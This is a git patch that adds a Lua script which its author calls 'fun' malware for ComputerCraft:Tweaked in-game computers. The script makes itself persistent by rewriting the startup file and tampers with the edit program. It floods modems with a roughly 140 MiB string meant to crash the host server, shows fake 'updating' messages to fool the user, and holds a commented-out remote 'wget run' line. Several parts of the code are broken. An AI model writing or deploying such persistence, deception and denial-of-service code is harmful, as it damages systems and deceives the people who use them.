From 192923efd785bad5bf8e10936ecc68fed2adb7dd Mon Sep 17 00:00:00 2001 From: Nova Date: Fri, 22 Nov 2024 19:17:51 +0100 Subject: [PATCH] Add file --- cct.lua | 144 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 cct.lua diff --git a/cct.lua b/cct.lua new file mode 100644 index 0000000..4d30852 --- /dev/null +++ b/cct.lua @@ -0,0 +1,144 @@ +--[[ +This is a "fun" piece of malware for ComputerCraft:Tweaked computers! +I made it because I have nothing better to do. +A quick rant: tf are the Lua conventions?? How should I write my code?? +So for now I'm just using the Python naming conventions because I know them. +Lua conventions make this unreadable so I don't care about them. +]] +function write_startup_file(destroymode) + if not destroymode and destroymode ~= true then + print("fatal: no def") + return nil + elseif not destroymode then + local file = io.open("/startup.lua", "w") + file:write("os.run('/rw/sys/msys.lua')") + else + local file1 = io.open("/rw/sys/vfs.lua", "r") + local contents = file1:read("*all") + file1:close() + local file2 = io.open("/startup.lua", "w") + file2:write(contents) + file2:close() + end +end +function change_cmd() + local file = io.open("/rom/edit.lua") + local contents = file:read("*all") + local file2 = io.open("/rw/sys/edit.bak.lua") + local file3 = io.open("/rw/sys/vtxt.txt") + local contents2 = file3:read("*all") + file2:write(contents) + file:write(contents2) +end +function extendstring(str) + --[[ + Should create a string containing 140.2 MiB of data (xdd) + Probably enough to take my server down with it until Mojang decides to + multithread Java servers, as I have enough RAM (116GB to be exact, with 32GB for the server.) + ]] + for i = 0, 21 do + str = str .. str + print(i) + end + return str +end +function break_modems() + --[[ + This function tries to overload modems by sending them a string. It should be more than 20MB + ]] + if not peripheral.wrap("top") then + -- No modem present so we ignore + return nil + end + local modem = peripheral.wrap("top") + local s, c = pcall(modem.open(500)) + if not s then + error("no modem!") + return nil + end + local smallstring = "this is a very friendly string :3 " + local esstring = extendstring(smallstring) + for i = 0, 65535 do + -- We try to buffer overflow. + modem.transmit(i, 500, esstring) +-- modem.transmit(i, 500, "wget run https://cdn.novacow.ch/uploads/cct-prgm/") + end + -- At some point I want it to be even more destructive, but for now it tries to kill the modem + healthcheck() +end +function healthcheck() + --[[ + Checks the health of the program, to make sure full potency is reached. + ]] + local file = io.open("/startup.lua", "r") + if not file then + write_startup_file(false) + end + local contents = file:read("*all") + if contents ~= "dofile('/rw/sys/msys.lua')" then + write_startup_file(true) + end +end +function dormancy(t) + t = tonumber(t) + sleep(t) +end +function convince(t, steps) + if steps < 1 or steps > 4 then + error("fatal: code error.") + end + t = tonumber(t) + if steps == 1 then + print("Updating cache...") + sleep(t) + print("Updating complete!") + print("Continuing...") + elseif steps == 2 then + print("Updating cache...") + print("Update complete!") + print("Loading device drivers...") + sleep(t) + print("Loading complete!") + print("Continuing...") + elseif steps == 3 then + print("Updating cache...") + print("Update complete!") + print("Loading device drivers...") + sleep(t/2) + print("Loading complete!") + print("Starting services...") + sleep(t/2) + print("Complete!") + print("Continuing...") + else + print("Updating cache...") + print("Update complete!") + print("Loading device drivers...") + sleep(t/3) + print("Loading complete!") + print("Starting services...") + sleep(t/3) + print("Complete!") + print("Reloading OS state...") + sleep(t/3) + print("Continuing...") +-- Main code here: + +healthcheck() +convince(9, 4) +break_modems() +convince(3, 3) +healthcheck() +print("Reloading program...") +convince(3, 1) +change_cmd() +healthcheck() + +-- From now on we stay dormant, we just don't do anything until the user tries fucking +-- our majestic worm up or just happens to execute the wrong command. +while true do + dormancy(5) + healthcheck() + dormancy(5) + convince(5, 1) +end